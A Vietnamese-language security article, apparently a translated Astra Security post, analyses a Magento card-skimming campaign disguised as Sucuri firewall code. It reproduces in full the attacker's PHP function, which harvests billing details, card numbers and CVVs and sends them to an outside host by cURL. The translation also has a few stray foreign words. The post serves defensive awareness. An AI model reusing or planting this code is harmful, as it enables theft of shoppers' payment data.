Computer >> Hướng Dẫn Máy Tính >  >> Kết Nối Mạng >> An Ninh Mạng

Mã độc đánh cắp thẻ tín dụng giả mạo Sucuri nhắm vào cửa hàng Magento

Với các biện pháp phong tỏa COVID-19 và các đợt giảm giá BFCM & Giáng sinh sắp tới trên toàn cầu, mua sắm trực tuyến tiếp tục tăng vọt năm nay và cùng với đó là các cuộc tấn công đánh cắp thẻ tín dụng kỹ thuật số (digital skimming).

Sau báo cáo gần đây về chiến dịch mã độc Telegram, các nhà nghiên cứu bảo mật tại Astra Security đã phát hiện một chiến dịch đánh cắp thẻ tín dụng đang diễn ra, giả mạo công ty bảo mật "Sucuri" để đánh cắp thông tin nhạy cảm của khách hàng từ các cửa hàng thương mại điện tử bị nhiễm mã độc. Mặc dù chúng tôi theo dõi mã độc này nhắm vào các cửa hàng Magento, tuy nhiên một số dấu vết của mã độc cũng được phát hiện ở các CMS khác như Prestashop, OpenCart & WooCommerce.

Tấn công đánh cắp thẻ tín dụng kỹ thuật số (Digital Credit Card Skimming) là gì?

Tấn công đánh cắp thẻ tín dụng kỹ thuật số là một cuộc tấn công dựa trên web, nơi tin tặc tiêm mã JavaScript độc hại vào các trang web hoặc cửa hàng thương mại điện tử nhằm lây nhiễm mã độc và cuối cùng đánh cắp thông tin xác thực và thông tin thanh toán nhạy cảm từ người truy cập/khách hàng của trang web. Mã độc của các skimmer kỹ thuật số này thường được gieo cấy tại các biểu mẫu nhập liệu của người dùng trên trang thanh toán (checkout) của trang web,嗅探 (sniffs) dữ liệu đầu vào của người dùng hoặc tạo một iframe với các biểu mẫu thanh toán giả để đánh cắp thông tin thẻ tín dụng của khách hàng.

Tấn công skimming kỹ thuật số đã ảnh hưởng đến hàng trăm nghìn trang web cho đến nay, bao gồm các thương hiệu nổi tiếng như British Airways, Macy's, Forbes, NewEgg và Ticketmaster.

Triệu chứng của mã độc đánh cắp thẻ tín dụng Magento

  1. Khách hàng khiếu nại về các giao dịch không xác định từ thẻ tín dụng của họ sau khi sử dụng tại cửa hàng của bạn.
  2. Email từ nhà cung cấp thanh toán/ngân hàng cảnh báo về bảo mật cổng thanh toán của cửa hàng.
  3. Phương thức thanh toán bổ sung được thêm vào cửa hàng mà bạn không nhận ra.
  4. Mã chứa thuật ngữ "Sucuri" được thêm vào trang web của bạn, даже khi bạn không sử dụng bất kỳ sản phẩm nào mang tên đó.

Cách hacker nhắm vào cửa hàng và giả mạo tường lửa Sucuri để lừa người dùng cung cấp thông tin thanh toán

Trong quá trình phân tích chiến dịch mã độc này, nhóm nghiên cứu của chúng tôi phát hiện hacker đang chủ động gieo cấy mã độc đánh cắp thẻ tín dụng này vào các trang web thương mại điện tử (chủ yếu là cửa hàng Magento) và lừa người truy cập/người mua nhập thông tin nhạy cảm của họ trong quá trình thanh toán. Mã độc skimmer thẻ tín dụng độc hại nằm tại vị trí tệp /app/code/core/Mage/Payment/Model/Method/Cc.php của trang bị nhiễm.

Ở đây, kẻ tấn công thêm một hàm $this->sucuri_encrypted(); cho phép họ trích xuất dữ liệu do người dùng nhập trong quá trình thanh toán. Và dữ liệu bị trích xuất được gửi đến https://www.thebrandstore.gr/js/i.php

Dữ liệu bị đánh cắp chứa thông tin nhạy cảm của khách hàng bao gồm tên, họ, địa chỉ, số điện thoại và chi tiết thẻ tín dụng.

Dưới đây là mẫu mã được sử dụng trong chiến dịch mã độc này bởi kẻ tấn công:

function sucuri_encrypted() {
    $info = $this->getInfoInstance();
    $object = new Mage_Checkout_Block_Onepage_Billing;
    $address1 = $object->getQuote()->getBillingAddress();
    $data1 = $address1->getFirstname();
    $data2 = $address1->getLastname();
    $data3 = $address1->getStreet(1);
    $data4 = $address1->getStreet(2);
    $data5 = $address1->getCity();
    $data6 = $address1->getRegion();
    $data7 = $address1->getPostcode();
    $data8 = $address1->getCountry();
    $data9 = $address1->getTelephone();
    $data10 = $info->getCcNumber();
    $expyear = substr($info->getCcExpYear(), -2);
    $expmonth = $info->getCcExpMonth();
    if (strlen($expmonth) == 1) {
        $expmonth = '0'.$expmonth;
    };
    $data11 = $expmonth;
    $data12 = $expyear;
    $data13 = $info->getCcCid();
    $data15 = $_SERVER['SERVER_NAME'];
    $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
    //create array of data to be secured
    $sucuri_firewall['firstname'] = base64_encode($data1);
    $sucuri_firewall['lastname'] = base64_encode($data2);
    $sucuri_firewall['address'] = base64_encode($data3);
    $sucuri_firewall['address2'] = base64_encode($data4);
    $sucuri_firewall['city'] = base64_encode($data5);
    $sucuri_firewall['state'] = base64_encode($data6);
    $sucuri_firewall['zip'] = base64_encode($data7);
    $sucuri_firewall['country'] = base64_encode($data8);
    $sucuri_firewall['phone'] = base64_encode($data9);
    $sucuri_firewall['cc'] = base64_encode($data10);
    $sucuri_firewall['exp'] = base64_encode($data11);
    $sucuri_firewall['expyear'] = base64_encode($data12);
    $sucuri_firewall['cvv'] = base64_encode($data13);
    $sucuri_firewall['email'] = base64_encode($data16);
    $sucuri_firewall['dari'] = base64_encode($data15);
    $sucuri_firewall['submit'] = 'Submit';
    //traverse array and prepare data for posting (key1=value1)
    foreach ( $sucuri_firewall as $key => $value) {
        $post_items[] = $key . '=' . $value;
    }
    //create the final string to be posted using implode()
    $post_string = implode ('&', $post_items);
    //create cURL connection
    $curl_connection = curl_init('https://www.thebrandstore.gr/js/i.php');
    //set options
    curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30);
    curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
    curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1);
    //set data to be posted
    curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post_string);
    //perform our request
    $result = curl_exec($curl_connection);
    curl_close($curl_connection);
} } }.

Như bạn thấy trong mã trên, bộ cắp thông tin thẻ tín dụng thêm một hàm tên $this->sucuri_encrypted(); hiển thị mã tường lửa Sucuri bị giả mạo.

Cách bảo vệ cửa hàng thương mại điện tử của bạn khỏi mã độc này

Các trang web hoặc cửa hàng thương mại điện tử bị nhiễm mã độc này có thể bị thiệt hại lớn về doanh thu cũng như niềm tin khách hàng do thông tin nhạy cảm của khách hàng bị đánh cắp ở đây và các đơn hàng hợp pháp không được đặt hoặc thanh toán không được thực hiện. Vì vậy, khuyến nghị chủ trang web nên triển khai các biện pháp bảo mật trước để bảo vệ trang web và dữ liệu khách hàng chống lại loại skimmer thẻ tín dụng này và bất kỳ chiến dịch mã độc nào khác.

Nếu bạn đang sử dụng tường lửa ứng dụng của Astra Security thì cửa hàng thương mại điện tử của bạn đã được bảo vệ khỏi cuộc tấn công này và các cuộc tấn công mạng và lỗ hổng khác như SQLi, XSS, CSRF, LFI, RFI, hack thẻ tín dụng, spam, bot xấu, v.v. Hơn nữa, các chuyên gia bảo mật lâu nay khuyến nghị quét mã độc định kỳ như một biện pháp bảo mật then chốt cho an toàn của trang web, đã đến lúc bạn trang bị cho trang web của mình các biện pháp bảo mật cần thiết để bảo vệ nó mọi lúc.